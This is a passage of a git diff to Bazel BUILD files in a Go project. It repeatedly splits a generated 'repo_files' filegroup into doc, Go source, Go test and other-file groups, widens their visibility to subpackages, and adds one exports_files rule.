+112,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/fs/BUILD.bazel b/internal/storage/fs/BUILD.bazel index 4ef61a465..48994986c 100644 --- a/internal/storage/fs/BUILD.bazel +++ b/internal/storage/fs/BUILD.bazel @@ -27,12 +27,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -41,7 +80,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/git/BUILD.bazel b/internal/storage/git/BUILD.bazel index 25e548a7b..5ede35634 100644 --- a/internal/storage/git/BUILD.bazel +++ b/internal/storage/git/BUILD.bazel @@ -27,12 +27,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -41,7 +80,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/issueops/BUILD.bazel b/internal/storage/issueops/BUILD.bazel index af5f9fc2e..0838bce48 100644 --- a/internal/storage/issueops/BUILD.bazel +++ b/internal/storage/issueops/BUILD.bazel @@ -234,12 +234,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -248,7 +287,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/journalscan/BUILD.bazel b/internal/storage/journalscan/BUILD.bazel index d1178ba0e..0b829365e 100644 --- a/internal/storage/journalscan/BUILD.bazel +++ b/internal/storage/journalscan/BUILD.bazel @@ -29,12 +29,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -43,7 +82,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/kvkeys/BUILD.bazel b/internal/storage/kvkeys/BUILD.bazel index ee4c8e5cd..0c82c0ad2 100644 --- a/internal/storage/kvkeys/BUILD.bazel +++ b/internal/storage/kvkeys/BUILD.bazel @@ -29,12 +29,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -43,7 +82,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/memoryops/BUILD.bazel b/internal/storage/memoryops/BUILD.bazel index 9039a52f6..19b7f8a47 100644 --- a/internal/storage/memoryops/BUILD.bazel +++ b/internal/storage/memoryops/BUILD.bazel @@ -33,12 +33,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -47,7 +86,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/rowid/BUILD.bazel b/internal/storage/rowid/BUILD.bazel index 90788b3c9..b0f65270f 100644 --- a/internal/storage/rowid/BUILD.bazel +++ b/internal/storage/rowid/BUILD.bazel @@ -30,12 +30,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -44,7 +83,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/schema/BUILD.bazel b/internal/storage/schema/BUILD.bazel index 7d663e2e7..57e38358c 100644 --- a/internal/storage/schema/BUILD.bazel +++ b/internal/storage/schema/BUILD.bazel @@ -198,12 +198,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -212,7 +251,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/sqlbuild/BUILD.bazel b/internal/storage/sqlbuild/BUILD.bazel index 8f2ce0aa2..7ff089896 100644 --- a/internal/storage/sqlbuild/BUILD.bazel +++ b/internal/storage/sqlbuild/BUILD.bazel @@ -56,12 +56,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -70,7 +109,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/sqlclass/BUILD.bazel b/internal/storage/sqlclass/BUILD.bazel index f169dff0d..3682f5ad7 100644 --- a/internal/storage/sqlclass/BUILD.bazel +++ b/internal/storage/sqlclass/BUILD.bazel @@ -30,12 +30,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -44,7 +83,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/sqlcount/BUILD.bazel b/internal/storage/sqlcount/BUILD.bazel index eaa94c1b4..3abb00ede 100644 --- a/internal/storage/sqlcount/BUILD.bazel +++ b/internal/storage/sqlcount/BUILD.bazel @@ -23,12 +23,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -37,7 +76,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/storagecontract/BUILD.bazel b/internal/storage/storagecontract/BUILD.bazel index 416cedece..b8e628c32 100644 --- a/internal/storage/storagecontract/BUILD.bazel +++ b/internal/storage/storagecontract/BUILD.bazel @@ -24,12 +24,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -38,7 +77,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/unsupportedgen/BUILD.bazel b/internal/storage/unsupportedgen/BUILD.bazel index 9732d963a..0a9b6c0d5 100644 --- a/internal/storage/unsupportedgen/BUILD.bazel +++ b/internal/storage/unsupportedgen/BUILD.bazel @@ -37,12 +37,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -51,7 +90,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/uow/BUILD.bazel b/internal/storage/uow/BUILD.bazel index d98cfcc61..8b4abc0d4 100644 --- a/internal/storage/uow/BUILD.bazel +++ b/internal/storage/uow/BUILD.bazel @@ -250,12 +250,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -264,7 +303,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/storage/versioncontrolops/BUILD.bazel b/internal/storage/versioncontrolops/BUILD.bazel index 17fc465ad..84fcf6342 100644 --- a/internal/storage/versioncontrolops/BUILD.bazel +++ b/internal/storage/versioncontrolops/BUILD.bazel @@ -69,12 +69,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -83,7 +122,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/telemetry/BUILD.bazel b/internal/telemetry/BUILD.bazel index 380b9d29a..90792516b 100644 --- a/internal/telemetry/BUILD.bazel +++ b/internal/telemetry/BUILD.bazel @@ -87,12 +87,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -101,7 +140,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/templates/BUILD.bazel b/internal/templates/BUILD.bazel index 521b4505e..799491071 100644 --- a/internal/templates/BUILD.bazel +++ b/internal/templates/BUILD.bazel @@ -14,12 +14,51 @@ go_library( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -28,7 +67,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/templates/agents/BUILD.bazel b/internal/templates/agents/BUILD.bazel index 4836ed286..c51ae9c90 100644 --- a/internal/templates/agents/BUILD.bazel +++ b/internal/templates/agents/BUILD.bazel @@ -28,12 +28,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -42,7 +81,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/testutil/BUILD.bazel b/internal/testutil/BUILD.bazel index 5fef41c5a..03563cbde 100644 --- a/internal/testutil/BUILD.bazel +++ b/internal/testutil/BUILD.bazel @@ -154,15 +154,64 @@ sh_test( tags = ["dolt-server"], ) +# The pinned dolt sql-server image, read by //scripts:scripts_test (the CI +# pins agree) and //test/docsync (the docs' pin agrees). +exports_files( + ["testdoltcommon.go"], + visibility = [ + "//scripts:__pkg__", + "//test/docsync:__pkg__", + ], +) + # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -171,7 +220,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/testutil/bazeltest/BUILD.bazel b/internal/testutil/bazeltest/BUILD.bazel index a3a6c955d..cdb9d6d9e 100644 --- a/internal/testutil/bazeltest/BUILD.bazel +++ b/internal/testutil/bazeltest/BUILD.bazel @@ -17,12 +17,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -31,7 +70,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/testutil/credentialcmd/BUILD.bazel b/internal/testutil/credentialcmd/BUILD.bazel index 82e67577d..d37bbe4a3 100644 --- a/internal/testutil/credentialcmd/BUILD.bazel +++ b/internal/testutil/credentialcmd/BUILD.bazel @@ -20,12 +20,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -34,7 +73,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/testutil/fixtures/BUILD.bazel b/internal/testutil/fixtures/BUILD.bazel index aee139035..b8b65f00d 100644 --- a/internal/testutil/fixtures/BUILD.bazel +++ b/internal/testutil/fixtures/BUILD.bazel @@ -29,12 +29,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -43,7 +82,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/testutil/integration/BUILD.bazel b/internal/testutil/integration/BUILD.bazel index fcc3fc611..40d2017d5 100644 --- a/internal/testutil/integration/BUILD.bazel +++ b/internal/testutil/integration/BUILD.bazel @@ -83,12 +83,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ 